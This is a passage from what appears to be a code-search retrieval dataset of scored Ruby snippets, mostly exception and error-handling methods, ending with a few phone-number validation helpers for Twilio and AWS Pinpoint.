"title": ""
},
{
"docid": "b676a600d41e71c04d63f829443f30e0",
"score": "0.6452217",
"text": "def unknown_error(server, error, kind = T.unsafe(nil), env = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "885d055131a06e7625866705627a0714",
"score": "0.6442313",
"text": "def exception (error)\n case error\n when 1..9 then raise ErrorHandler::GeneralError.new(error)\n when 10..15 then raise ErrorHandler::StatemachineError.new(error)\n when 16..18 then raise ErrorHandler::LocationError.new(error)\n when 19..21 then raise ErrorHandler::FormatError.new(error)\n when 22..25 then raise ErrorHandler::CallError.new(error)\n when 26..29 then raise ErrorHandler::OtherError.new(error)\n when 30..35 then raise ErrorHandler::ConfigError.new(error)\n end\n end",
"title": ""
},
{
"docid": "493c15ac6ee4aa1bc276723fcac64bd8",
"score": "0.6435035",
"text": "def get_runtime_error\n\t\treturn get_runtime_explaination $execute_res\n\tend",
"title": ""
},
{
"docid": "fc627760ae12222c390c484fef9ce013",
"score": "0.64332014",
"text": "def exception(*args); end",
"title": ""
},
{
"docid": "48cee5b393a259dcf1cdcca6f46b033b",
"score": "0.6377793",
"text": "def handle_exception(e, _req = nil)\n puts(\"Error: #{$!}\")\n puts(\"Backtrace:\\n\\t\"+e.backtrace.join(\"\\n\\t\"))\n if e.respond_to? :http_code\n puts(\"HTTP Code: #{e.http_code}\")\n end\n if e.respond_to? :response and e.response != ''\n puts(\"Response: #{e.response}\")\n end\n\n unless e.respond_to? :http_code\n raise e\n end\n\n # Handling G5k API errors\n case e.http_code\n\n when 400\n br = BadRequest.new(\"Bad request (error 400): #{e.http_body}\", e)\n if e.http_body =~ /^Request to ([^ ]*) failed with status 400: (.*)$/m\n br.inner_url = $1\n json = $2\n begin\n d = JSON::parse(json)\n br.inner_code = d['code']\n br.inner_title = d['title']\n br.inner_message = d['message']\n rescue JSON::ParserError\n # Ignore error\n end\n end\n raise br\n when 404\n raise NotFound.new(\"Resource not found (error 404): #{e.http_body}\", e)\n when 401\n raise Unauthorized.new(\"Authentication problem (error 401): #{e.http_body}\",e)\n else\n if @on_error == :ignore\n return nil\n else\n raise RequestFailed.new(\"Grid5000 API internal error\", e)\n end\n end\n end",
"title": ""
},
{
"docid": "17b4a3a9d1b7fa15103b5f79c92d73f9",
"score": "0.6370822",
"text": "def hello\n # ...\nrescue => e\n puts e.message\nend",
"title": ""
},
{
"docid": "33cb725c78d997115b4cd22cacceea0d",
"score": "0.63599867",
"text": "def inner_error; end",
"title": ""
},
{
"docid": "33cb725c78d997115b4cd22cacceea0d",
"score": "0.63599867",
"text": "def inner_error; end",
"title": ""
},
{
"docid": "50b9df1efaa66e71ab7061d9bfd92d83",
"score": "0.63533795",
"text": "def rescue_clause; end",
"title": ""
},
{
"docid": "8a95bf942bf542475bc1530f43610221",
"score": "0.6334752",
"text": "def server_internal_error(remote_address, exception)\n @logger.error :server do\n {\n remote_address: \"#{remote_address.ip_address}:#{remote_address.ip_port}\",\n exception: exception_to_hash(exception),\n }\n end\n @error_proc.call(exception)\n end",
"title": ""
},
{
"docid": "e770cb809c54c348cf708448ff218b69",
"score": "0.63227403",
"text": "def render_exception(ex, log_tag=nil)\n Rails.logger.error \"Reference ID: #{@request_id} - #{ex.message}\\n #{ex.backtrace.join(\"\\n \")}\"\n error_code = ex.respond_to?('code') ? ex.code : 1\n message = ex.message\n if ex.kind_of? OpenShift::UserException\n status = :unprocessable_entity\n elsif ex.kind_of? OpenShift::DNSException\n status = :service_unavailable\n elsif ex.kind_of? OpenShift::NodeException\n status = :internal_server_error\n if ex.resultIO\n error_code = ex.resultIO.exitcode\n message = \"\"\n if ex.resultIO.errorIO && ex.resultIO.errorIO.length > 0\n message = ex.resultIO.errorIO.string.strip\n end\n message ||= \"\"\n message += \"\\nReference ID: #{@request_id}\"\n end\n else\n status = :internal_server_error\n end\n\n internal_error = status != :unprocessable_entity\n render_error(status, message, error_code, log_tag, nil, nil, nil, internal_error)\n end",
"title": ""
},
{
"docid": "1b48965d040adf3368bc5dd471af9b5c",
"score": "0.6309823",
"text": "def display_exception; end",
"title": ""
},
{
"docid": "12e9a168844c3b05f9f3a1c891411bd4",
"score": "0.6301047",
"text": "def handle_error(e)\n begin\n if @connects and @connects.key?(\"error\")\n @connects[\"error\"].each do |block|\n block.call(e)\n end\n end\n rescue SystemExit => e\n raise e\n rescue => e\n #An error occurred while trying to run the on-error-block - show this as an normal error.\n print \"\\n\\n<pre>\\n\\n\"\n print \"<b>#{Knj::Web.html(e.class.name)}: #{Knj::Web.html(e.message)}</b>\\n\\n\"\n\n e.backtrace.each do |line|\n print \"#{Knj::Web.html(line)}\\n\"\n end\n\n print \"</pre>\"\n end\n\n print \"\\n\\n<pre>\\n\\n\"\n print \"<b>#{Knj::Web.html(e.class.name)}: #{Knj::Web.html(e.message)}</b>\\n\\n\"\n\n e.backtrace.each do |line|\n print \"#{Knj::Web.html(line)}\\n\"\n end\n\n print \"</pre>\"\n\n return nil\n end",
"title": ""
},
{
"docid": "50654bb4c9df884ec7cbf20e4d621419",
"score": "0.62933666",
"text": "def server_exception(e)\n if e.is_a?(Goliath::Validation::Error)\n status, headers, body = [e.status_code, e.headers, ('{\"error\":\"%s\"}' % e.message)]\n else\n logthis = \"#{e.backtrace[0]}: #{e.message} (#{e.class})\\n\"\n e.backtrace[1..-1].each do |bt|\n logthis += \" from #{bt}\\n\"\n end\n @env.logger.error(logthis)\n @env[RACK_EXCEPTION] = e\n\n message = Goliath.env?(:production) ? 'An error happened' : e.message\n status, headers, body = [500, {}, message]\n end\n\n headers['Content-Length'] = body.bytesize.to_s\n @env[:terminate_connection] = true\n post_process([status, headers, body])\n end",
"title": ""
},
{
"docid": "49560b3ade41bfbe4a3b9d6b401dd517",
"score": "0.6278639",
"text": "def exc; end",
"title": ""
},
{
"docid": "de682f1b7d63d544cd7c8547cbcdc1ca",
"score": "0.62746304",
"text": "def exception(string)\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "33c3f8cf53886174ccd1a42347eb9369",
"score": "0.62671316",
"text": "def process_error(e)\n code = error_code(e)\n\n Rails.logger.error e.inspect\n Rails.logger.error \"Codeeeeee: #{code}\"\n\n if code == \"5\"\n raise NotLoggedIn\n elsif code == \"6\"\n raise Unimplemented\n elsif code == \"2\"\n msg = detail_message(e)\n if msg =~ /not logged in/i\n raise NotLoggedIn\n else\n raise RequestError, msg\n end\n elsif code == \"1\"\n raise AccessDenied\n else\n if Rails.env.test?\n puts e.to_hash.inspect\n end\n\n raise Error, detail_message(e)\n end\n end",
"title": ""
},
{
"docid": "db531178ec404476518536cb8e397311",
"score": "0.62517476",
"text": "def handle_thrift_exceptions_with_missing_message\n begin\n yield\n rescue Exception => err\n if !err.message\n if err.respond_to?(\"message=\")\n err.message = err.what || ''\n else\n def err.message\n self.what || ''\n end\n end\n end\n\n raise err\n end\n end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "f5cc358536014ae4f00727558d578b6f",
"score": "0.62484",
"text": "def exception; end",
"title": ""
},
{
"docid": "3c6ca4b4a29a574ecb6c91611dc7f95e",
"score": "0.62457067",
"text": "def handle_generic_error(exception)\n end",
"title": ""
},
{
"docid": "cd3e3d91161f9388ab253c1b7dc59bb0",
"score": "0.62322867",
"text": "def error job, exception\n self.errmsg = \"#{exception.class.to_s} ERROR: #{exception.to_s}\"\n if exception.respond_to?(:response_code)\n elaboration =\n case errcode = exception.response_code.to_i\n when 503\n ' Host isn\\'t talking at the moment'\n when 404\n ' URL doesn\\'t point to anything!'\n end\n self.errmsg << \"(HTTP Response Code #{errcode}#{elaboration})\"\n else\n self.errcode = -1\n end\n cutoff = exception.backtrace.find_index { |lev| lev.match('scraper.rb') && lev.match('perform') } || -1\n self.errmsg << \"\\n\\t\" + exception.backtrace[0..cutoff].join(\"\\n\\t\")\n # Adding an error here ensures that the object will be recorded as :bad\n Rails.logger.info \"!!!Scraper ##{id} Failed on #{url} with status #{status}:\\n#{errmsg}\"\n errors.add :base, \"Error ##{errcode} (#{errmsg})\"\n end",
"title": ""
},
{
"docid": "0aa0db9270c5a88c81da713a1ee0e8f8",
"score": "0.6232285",
"text": "def rescued_exception; end",
"title": ""
},
{
"docid": "243ed924b51c6fac54374d96d176258a",
"score": "0.62270933",
"text": "def error(msg, exc: nil)\n must \"message\", msg, be: String\n\n tell(\"{m{☠}} {r{#{msg}}}\")\n\n if exc\n raise exc.new(msg)\n else\n exit(-1)\n end\n end",
"title": ""
},
{
"docid": "0cc86cb0dc378cd14d023d7a2a0fbcc2",
"score": "0.622401",
"text": "def exception_details(e, msg); end",
"title": ""
},
{
"docid": "5a94c7c0f76d67a145d58e0264783536",
"score": "0.62121105",
"text": "def error(exception)\n puts \"execution failed: #{exception}\"\n end",
"title": ""
},
{
"docid": "6d2ad456f6e440a7e508d2889c8b48e3",
"score": "0.62104553",
"text": "def server_error(exception)\n # Whatever code that handles the exception\n\n ExceptionNotifier.notify_exception(exception,\n :env => request.env, :data => {:message => \"was doing something wrong\"})\n end",
"title": ""
},
{
"docid": "96fc5c7207ba66e06d7b9c9e07e844b7",
"score": "0.6198385",
"text": "def handleError(commandName)\n errorMessage = \"Error while processing command : \" + commandName.to_s +\n \" for flowcell : \" + @fcBarcode.to_s + \" Working Dir : \" +\n Dir.pwd.to_s + \" Hostname : \" + @envInfo.getHostName() \n # For now keep like this\n emailSubject = \"Error while mapping : \" + @fcBarcode.to_s\n\n obj = EmailHelper.new()\n emailFrom = \"sol-pipe@bcm.edu\"\n emailTo = obj.getErrorRecepientEmailList()\n emailSubject = \"Error during mapping on host \" + @envInfo.getHostName() \n\n obj.sendEmail(emailFrom, emailTo, emailSubject, errorMessage)\n\n puts errorMessage.to_s\n exit -1\n end",
"title": ""
},
{
"docid": "b5f61db6df4621dd655e74080b4bf810",
"score": "0.6194069",
"text": "def parse_error(server, env, error); end",
"title": ""
},
{
"docid": "6d967e0574a93ad1a7a438ecf62b646c",
"score": "0.61860085",
"text": "def ex; end",
"title": ""
},
{
"docid": "6d967e0574a93ad1a7a438ecf62b646c",
"score": "0.61860085",
"text": "def ex; end",
"title": ""
},
{
"docid": "990a37f96e9c04a220f52a84d228af97",
"score": "0.6185807",
"text": "def error(msg)\n $evm.log(:error, msg)\n $evm.root['ae_result'] = 'error'\n $evm.root['ae_reason'] = msg.to_s\n exit MIQ_STOP\nend",
"title": ""
},
{
"docid": "8967bfcff2c1b3e1783575ba00f212ef",
"score": "0.6182967",
"text": "def error(msg)\n $evm.log(:error, msg)\n $evm.root['ae_result'] = 'error'\n $evm.root['ae_reason'] = msg.to_s\n exit MIQ_OK\nend",
"title": ""
},
{
"docid": "8967bfcff2c1b3e1783575ba00f212ef",
"score": "0.6182967",
"text": "def error(msg)\n $evm.log(:error, msg)\n $evm.root['ae_result'] = 'error'\n $evm.root['ae_reason'] = msg.to_s\n exit MIQ_OK\nend",
"title": ""
},
{
"docid": "496a57ae45f76ab1b6714f61ef3aa00f",
"score": "0.61795616",
"text": "def format_train_exception\n backend, host = formatted_host\n if host.nil?\n t.CHEFTRN002.text(exception.message)\n else\n t.CHEFTRN001.text(backend, host, exception.message)\n end\n end",
"title": ""
},
{
"docid": "acaa1c708f5b8b4c032a2d54eb761afc",
"score": "0.6169034",
"text": "def exception(...)\n self\n end",
"title": ""
},
{
"docid": "c8bed826f8cfe533c70b7ae3404b701d",
"score": "0.61689204",
"text": "def error(msg, exc: nil)\n must(\"message\", msg, be: String)\n\n tell(\"{r{☠ #{msg}}}\")\n\n if exc\n raise exc.new(msg)\n else\n exit(-1)\n end\n end",
"title": ""
},
{
"docid": "9b44ed7d06c1b54dcf5898bae6597246",
"score": "0.6168865",
"text": "def send_error(e, res)\n res.status = 500\n res['Content-Type'] = 'application/json'\n body = { code: -1, error: \"#{e.class}: #{e.message}\" }\n body[:backtrace] = e.backtrace\n res.body = @shell.data(body).json(@shell.indent)\n @shell.logger.warn(Impl.format_error(e))\n\tend",
"title": ""
},
{
"docid": "4c40be68f2979600b9fe99a32b310eb3",
"score": "0.61678094",
"text": "def handle_error()\n end",
"title": ""
},
{
"docid": "6b81ce3e1cd857df0c4dc5193c1b8d12",
"score": "0.61634636",
"text": "def ex(exception)\n error \"#{exception.class.to_s}: #{exception.message}\\n\"\n error \"Stack trace:\" +\n exception.backtrace.map {|elem| \"\\n\\t#{elem}\" }.join + \"\\n\"\n end",
"title": ""
},
{
"docid": "30fe1ed44c3839adcbd3d864df58fe41",
"score": "0.6163053",
"text": "def handle_exception(exception)\n case exception\n when SlimLint::Exceptions::ConfigurationError\n log.error exception.message\n EX_CONFIG\n when SlimLint::Exceptions::InvalidCLIOption\n log.error exception.message\n log.log \"Run `#{APP_NAME}` --help for usage documentation\"\n EX_USAGE\n when SlimLint::Exceptions::InvalidFilePath\n log.error exception.message\n EX_NOINPUT\n when SlimLint::Exceptions::NoLintersError\n log.error exception.message\n EX_NOINPUT\n else\n print_unexpected_exception(exception)\n EX_SOFTWARE\n end\n end",
"title": ""
},
{
"docid": "58354953485d790abf8ef02e5ba31ca0",
"score": "0.6157014",
"text": "def handle_internal_backend_err(exception)\n logger.error \"[Backend] Failed to execute a backend routine: #{exception.message}\"\n render text: exception.message, status: 500\n end",
"title": ""
},
{
"docid": "01fd7485ffa76e9faf908785216b194d",
"score": "0.6143953",
"text": "def handle_exception(e)\n @response = [500, { \"Content-Type\" => \"text/html\" }, [Exception_Message]]\n $stderr.puts e.inspect\n e.backtrace.each { |bt| $stderr.puts bt }\n end",
"title": ""
},
{
"docid": "b6dea7649a7021c121614e2987c5af54",
"score": "0.61312735",
"text": "def soma(n1, n2)\n n1 + n2\nrescue => exception \n puts exception.message\n puts 'Erro ao executar a soma'\nend",
"title": ""
},
{
"docid": "e89d852c49283d1efe75373093c076c6",
"score": "0.6128769",
"text": "def chef_error(e)\n if e.is_a?(RightScale::Exceptions::Exec)\n msg = \"An external command returned an error during the execution of Chef:\\n\\n\"\n msg += e.message\n msg += \"\\n\\nThe command was run from \\\"#{e.path}\\\"\" if e.path\n else\n msg = \"An error occurred during the execution of Chef. The error message was:\\n\\n\"\n msg += e.message\n file, line, meth = e.backtrace[0].scan(/(.*):(\\d+):in `(\\w+)'/).flatten\n line_number = line.to_i\n if file && line && (line_number.to_s == line)\n if file[0..InstanceConfiguration.cookbook_download_path.size - 1] == InstanceConfiguration::cookbook_download_path\n path = \"[COOKBOOKS]/\" + file[InstanceConfiguration.cookbook_download_path.size..file.size]\n else\n path = file\n end\n msg += \"\\n\\nThe error occurred line #{line} of #{path}\"\n msg += \" in method '#{meth}'\" if meth\n context = \"\"\n if File.readable?(file)\n File.open(file, 'r') do |f|\n lines = f.readlines\n lines_count = lines.size\n if lines_count >= line_number\n upper = [lines_count, line_number + 2].max\n padding = upper.to_s.size\n context += context_line(lines, line_number - 2, padding)\n context += context_line(lines, line_number - 1, padding)\n context += context_line(lines, line_number, padding, '*')\n context += context_line(lines, line_number + 1, padding)\n context += context_line(lines, line_number + 2, padding)\n end\n end\n end\n msg += \" while executing:\\n\\n#{context}\" unless context.empty?\n end\n end\n msg\n end",
"title": ""
},
{
"docid": "598fd6e7ede42ca92d950387658409dc",
"score": "0.6121554",
"text": "def exception_on_syntax_error=(_arg0); end",
"title": ""
},
{
"docid": "d21bacadf146de47354791200b627ca7",
"score": "0.6097937",
"text": "def exception_message(exception)\n # App code can stuff all sorts of crazy binary data into the error message\n # that won't convert to JSON.\n exception.message.to_s[0, 10_000]\n rescue\n +\"!!! ERROR MESSAGE THREW AN ERROR !!!\"\n end",
"title": ""
},
{
"docid": "e3348650e2d2261c204878dabc9f3db0",
"score": "0.60926443",
"text": "def exception_handler; end",
"title": ""
},
{
"docid": "e25ea0da509dfa79b9b5259177d75104",
"score": "0.60852355",
"text": "def handle_exception(e, key, return_nil_on_generic_error, user_message_on_exception)\n if e.is_a?(Errors::ProxyError)\n log_message = e.log_message\n response = e.response\n if e.wrapped_exception\n log_message += \" #{e.wrapped_exception.class} #{e.wrapped_exception.message}.\"\n end\n else\n log_message = \" #{e.class} #{e.message}\"\n if return_nil_on_generic_error\n response = nil\n else\n response = {\n :body => user_message_on_exception,\n :statusCode => 503\n }\n end\n end\n log_message += \" Associated key: #{key}\"\n\n Rails.logger.error(log_message + \"\\n\" + e.backtrace.join(\"\\n \"))\n response\n end",
"title": ""
},
{
"docid": "cb51451c94ebd91eeb482b6ad9ad3e5c",
"score": "0.6081977",
"text": "def executa_erro\n\traise \"um teste do backtrace\"\nend",
"title": ""
},
{
"docid": "c2f9dfbb902123129e1b600b7fa1a35d",
"score": "0.60729015",
"text": "def error\n if params[:exceptionMessage].present? \n @exceptionMessage = params[:exceptionMessage]\n end\n end",
"title": ""
},
{
"docid": "130a3c2b98c56f160fba37b1be68de80",
"score": "0.60644466",
"text": "def server_exception(e)\n if e.is_a?(Goliath::Validation::Error)\n status, headers, body = [e.status_code, {}, ('{\"error\":\"%s\"}' % e.message)]\n elsif e.is_a?(URI::InvalidURIError)\n status, headers, body = [500, {}, ('{\"Fuck\":\" You!\"}')]\n else\n @env[RACK_LOGGER].error(\"#{e.message}\\n#{e.backtrace.join(\"\\n\")}\")\n message = Goliath.env?(:production) ? 'An error happened' : e.message\n\n status, headers, body = [500, {}, message]\n end\n\n headers['Content-Length'] = body.bytesize.to_s\n @env[:terminate_connection] = true\n post_process([status, headers, body])\n\n # Mark the request as complete to force a flush on the response.\n # Note: #on_body and #response hooks may still fire if the data\n # is already in the parser buffer.\n succeed\n end",
"title": ""
},
{
"docid": "9f9b0130bcc54f9f6d59892812ce5da9",
"score": "0.60640717",
"text": "def error(exception, message=nil)\n end",
"title": ""
},
{
"docid": "3a8d2d1c59f368d702f5fcd2e612435c",
"score": "0.60587966",
"text": "def explain_exception(e)\n case e\n when Noveku::NotAValidEnvironment\n explain_invalid_env\n when Noveku::NoHerokuApp\n explain_no_heroku\n when Noveku::Mongo::NoUriSupplied\n explain_no_uri\n else raise\n end\n end",
"title": ""
},
{
"docid": "903b76b76f5416491b70e1d647cb821e",
"score": "0.6045984",
"text": "def exit_because_of_exception(ex); end",
"title": ""
},
{
"docid": "fda240ec10c62e45aab79145921748cf",
"score": "0.60417604",
"text": "def invoke_error\n @return_values.elapsed_time = Time.now - @return_values.start_time\n @return_values.responder = @responder\n @return_values.code = @code\n @return_values.message = @msg\n set_deferred_status :failed, @return_values\n send_data \"QUIT\\r\\n\"\n close_connection_after_writing\n end",
"title": ""
},
{
"docid": "ba5c0ba0f014a535fbc65353593dbf88",
"score": "0.60410094",
"text": "def deployment_base_exception_handle(e)\n if e.message =~ /Insufficient capacity/ and @retry_loop.last < 10\n puts \"Got \\\"Insufficient capacity\\\". Retrying....\"\n sleep 60\n incr_retry_loop\n return true # Exception Handled\n elsif e.message =~ /Service Temporarily Unavailable/ and @retry_loop.last < 30\n puts \"Got \\\"Service Temporarily Unavailable\\\". Retrying....\"\n sleep 10\n incr_retry_loop\n return true # Exception Handled\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "7a219155e562fc6a772d21e93b9bf24e",
"score": "0.60385776",
"text": "def error_protected_execution(label)\n yield\n rescue RuntimeError => e\n handle_exception(rterror_msg(e, label))\n rescue LearnEx => e\n handle_exception(learnex_msg(e, label))\n rescue MMREx => e\n handle_exception(mmrex_msg(e, label))\n end",
"title": ""
},
{
"docid": "696a928fbd22c63cfa5e67f78b08f181",
"score": "0.6034043",
"text": "def parse_error_command(res)\n zone = res[:data][0]\n section = res[:data][1]\n \n raise BowlerException.new(zone,section), \"Error RPC received\"\n end",
"title": ""
},
{
"docid": "e3ea8c0ef1ed7e2bbec2a7fea9a80cf2",
"score": "0.6032555",
"text": "def error_message(ex) #:nodoc:\n \"error: #{ex.message}\"\n end",
"title": ""
},
{
"docid": "e3ea8c0ef1ed7e2bbec2a7fea9a80cf2",
"score": "0.6032555",
"text": "def error_message(ex) #:nodoc:\n \"error: #{ex.message}\"\n end",
"title": ""
},
{
"docid": "78463fe1dc1f731d46c477209ee12ccb",
"score": "0.6031154",
"text": "def handle_exception_codes(code)\n case code\n when \"\\xab\\x01\"\n print_error(\"Illegal Function: Function code received in the query is not recognized or allowed by slave.\")\n when \"\\xab\\x02\"\n print_error(\"Illegal Data Address: Data address of some or all the required entities are not allowed or do not exist in slave.\")\n when \"\\xab\\x03\"\n print_error(\"Illegal Data Value: Value is not accepted by slave.\")\n when \"\\xab\\x04\"\n print_error(\"Slave Device Failure: Unrecoverable error occurred while slave was attempting to perform requested action.\")\n when \"\\xab\\x05\"\n print_error(\"Acknowledge: Slave has accepted request and is processing it, but a long duration of time is required.\")\n when \"\\xab\\x06\"\n print_error(\"Slave Device Busy: Slave is engaged in processing a long-duration command.\")\n when \"\\xab\\x07\"\n print_error(\"Negative Acknowledge: Slave cannot perform the programming functions.\")\n when \"\\xab\\x08\"\n print_error(\"Memory Parity Error: Slave detected a parity error in memory.\")\n when \"\\xab\\x0a\"\n print_error(\"Gateway Path Unavailable: Specialized for Modbus gateways. Indicates a misconfigured gateway.\")\n when \"\\xab\\x0b\"\n print_error(\"Gateway Target Device Failed to Respond: Specialized for Modbus gateways.\")\n else\n print_error(\"MODBUS - received incorrect data.\")\n end\n end",
"title": ""
},
{
"docid": "0a45cc39580295ac25d5f1c65662579e",
"score": "0.6029056",
"text": "def server_error!(err)\n render_error(error: err.message)\n end",
"title": ""
},
{
"docid": "20223eff9577b5f16990cc68cff3d4f2",
"score": "0.60223883",
"text": "def handle_error(e)\n # no error was passed, so do nothing.\n return nil unless e\n\n # Return a simple error event message\n return {\n error: e.class.to_s,\n message: e.message,\n process_env: ENV.to_hash,\n hostname: Socket.gethostname,\n backtrace: e.backtrace.join(\"\\n\")\n }\n end",
"title": ""
},
{
"docid": "6cfe9269cb9065ca101805cf9850e90d",
"score": "0.60122335",
"text": "def connection_error(msg)\n raise ConnectionError, msg\n end",
"title": ""
},
{
"docid": "21eb3ebf68c2f350613da30165cdf97f",
"score": "0.600679",
"text": "def erreur(msg)\n raise GT::Exception, msg\nend",
"title": ""
},
{
"docid": "f9c5f34b6fb44c9a9ea450dffadab49b",
"score": "0.6004448",
"text": "def msg\n 'error processing'\n end",
"title": ""
},
{
"docid": "5c0bed510cdb44b4a6ab1af375493960",
"score": "0.60031015",
"text": "def errmsg(message); end",
"title": ""
},
{
"docid": "bb236464756f863b67a548877799eb5e",
"score": "0.6002437",
"text": "def handle_other_exception(setting, exception, emails)\n logger.warn \"Other error while connecting to '#{setting.host}:#{setting.port}'\"\n logger.warn \"Complete Error (#{exception.class.to_s}): \" + exception.to_s\n handle_custom_setting_removal(setting, emails)\n end",
"title": ""
},
{
"docid": "fa8d6ca05aadaf573212bad88e230784",
"score": "0.6001662",
"text": "def handle_exception_codes(code)\n case code\n when \"\\xab\\x01\"\n print_error('Illegal Function: The function code received in the query is not recognized or allowed by the slave.')\n when \"\\xab\\x02\"\n print_error('Illegal Data Address: Data address of some or all the required entities are not allowed or do not exist in slave.')\n when \"\\xab\\x03\"\n print_error('Illegal Data Value: Value is not accepted by slave.')\n when \"\\xab\\x04\"\n print_error('Slave Device Failure: Unrecoverable error occurred while slave was attempting to perform requested action.')\n when \"\\xab\\x05\"\n print_error('Acknowledge: Slave has accepted the request and is processing it, but requires a long period of time to process it.')\n when \"\\xab\\x06\"\n print_error('Slave Device Busy: Slave is engaged in processing a long-duration program command.')\n when \"\\xab\\x07\"\n print_error('Negative Acknowledge: Slave cannot perform the programming function recieved in the query.')\n when \"\\xab\\x08\"\n print_error('Memory Parity Error: Slave detected a parity error in memory.')\n when \"\\xab\\x0a\"\n print_error('Gateway Path Unavailable: The gateway was likely misconfigured or is overloaded as it was unable to internally connect the input and output channels.')\n when \"\\xab\\x0b\"\n print_error(\"Gateway Target Device Failed to Respond: Gateway could not find the target device on the network or the target device didn't respond.\")\n else\n print_error('MODBUS - received incorrect data.')\n end\n end",
"title": ""
},
{
"docid": "1f056c44ee9efe3b6d66d35ccf642cdf",
"score": "0.59946084",
"text": "def handle_error(e)\n raise e\n end",
"title": ""
},
{
"docid": "dd9392d508c21ca3eb5d913a43aedb14",
"score": "0.599378",
"text": "def error\n raise \"something went wrong\"\n end",
"title": ""
},
{
"docid": "a11eb7d0088b221901dbf6d963545574",
"score": "0.5988095",
"text": "def rescueing; end",
"title": ""
},
{
"docid": "eaac48f03b5866581e03761ccabc1e52",
"score": "0.5983841",
"text": "def handleError(commandName)\n puts \"ERROR : OOPS Error occurred in \" + commandName.to_s\n end",
"title": ""
},
{
"docid": "c8677d009549eb637d65f59d60b6fdfb",
"score": "0.5972272",
"text": "def error(text = \"\")\n e = /ERROR\\s(\\d+)\\s::\\s(.*)/.match(text) || {}\n name = (e[2] || \"UnknownError\").titleize\n code = e[1] || -1\n error_class = name.gsub(/\\s/, \"\")\n\n if error_class == \"NothingFound\"\n []\n else\n begin\n raise Semrush::Exception.const_get(error_class).new(self, \"#{name} (#{code})\")\n rescue\n raise Semrush::Exception::Base.new(self, \"#{name} (#{code}) *** error_class=#{error_class} not implemented ***\")\n end\n end\n end",
"title": ""
}
] |
1fef61f308aa56b840d4e19e0caf422f
|
Pinpoint Client for validation and identification of phone numbers Not expected to be used directly, but through helper instance methods
|
[
{
"docid": "747d8a422ae4ec05837768ca08085f3d",
"score": "0.0",
"text": "def aws_pinpoint_client\n return @aws_pinpoint_client if @aws_pinpoint_client\n\n @aws_pinpoint_client = Aws::Pinpoint::Client.new(region: self.class.sms_aws_region)\n end",
"title": ""
}
] |
[
{
"docid": "6e90bb6976467c53b7dcef45a77059d6",
"score": "0.69988203",
"text": "def phone_number\n \"(#{Helpers::FakeIt.area_code}) #{Helpers::FakeIt.exchange_code}-#{Helpers::FakeIt.subscriber_number}\"\n end",
"title": ""
},
{
"docid": "f318b1c8a7af2ea0bb73102c730bdcfa",
"score": "0.6973159",
"text": "def shape_phone_number\n self.phone_number = twilio_format phone_number\n end",
"title": ""
},
{
"docid": "0284e44f209dfd1415e244bebba25899",
"score": "0.6928723",
"text": "def phone_number; end",
"title": ""
},
{
"docid": "0284e44f209dfd1415e244bebba25899",
"score": "0.6928723",
"text": "def phone_number; end",
"title": ""
},
{
"docid": "d4a52135ed54559b45f2210a95383939",
"score": "0.6539295",
"text": "def phone_input(method, options)\n basic_input_helper(:phone_field, :phone, method, options)\n end",
"title": ""
},
{
"docid": "d4ce37d34f7485cb2ae04cc515d9ab73",
"score": "0.65213084",
"text": "def record()\n # Staying in Germany for now:\n country_code = '+49'\n # Between 2 and 5 digits area codes (max 2 + 3):\n area_digits_quantity = 2 + rand(4)\n # Area code has no trailing zeros. E.g. with 4 digits minimum is 1000.\n min_area_code = 10 ** (area_digits_quantity - 1)\n # Biggest 5 digit area code is 99999, i.e. 10**5 - 1\n max_area_code = 10 ** area_digits_quantity - 1\n # Get a random number in the range min_area_code to max_area_code:\n area_code = min_area_code + rand( max_area_code - min_area_code + 1 )\n # Today area code and subscriber line are 10 digits in total.\n subscriber_digits_quantity = 10 - area_digits_quantity\n min_subscriber_number = 10 ** (subscriber_digits_quantity - 1)\n max_subscriber_number = 10 ** subscriber_digits_quantity - 1\n subscriber_number = min_subscriber_number + rand( max_subscriber_number - min_subscriber_number + 1 )\n PhoneNumber.new( country_code, area_code, subscriber_number )\n end",
"title": ""
},
{
"docid": "41face2aba2e6af6dfe629b4dfda1694",
"score": "0.65012246",
"text": "def cell_phone; end",
"title": ""
},
{
"docid": "ad67aa6566c971615935d85f23a8676d",
"score": "0.64845204",
"text": "def pp_phone_validate(phone_number, iso_country_code = nil)\n request = {\n phone_number: phone_number\n }\n request[:iso_country_code] = iso_country_code if iso_country_code\n\n aws_pinpoint_client.phone_number_validate(\n number_validate_request: request\n )\n end",
"title": ""
},
{
"docid": "49ce178d1c5cb553f6d47660d058fd98",
"score": "0.6472401",
"text": "def verifyphonenumber\n tc = Twilio::REST::Client.new tsid, tauthtoken\n # Ref: https://www.twilio.com/docs/api/rest/outgoing-caller-ids\n call_delay_in_sec = 45 # Can be 0 to 60 seconds\n caller_id = tc.outgoing_caller_ids.create(:phone_number => params[:PhoneNumber], :call_delay => call_delay_in_sec)\n respond_to do |format|\n format.json { render :json => {:verification_code => caller_id.validation_code},\n :status => :ok }\n end\n end",
"title": ""
},
{
"docid": "a02ecf093dfbc69780daaeade76276ec",
"score": "0.64272434",
"text": "def phone_number_with_country_code; end",
"title": ""
},
{
"docid": "b6a3f958cb50320e052aedfb4a6b65b0",
"score": "0.63358146",
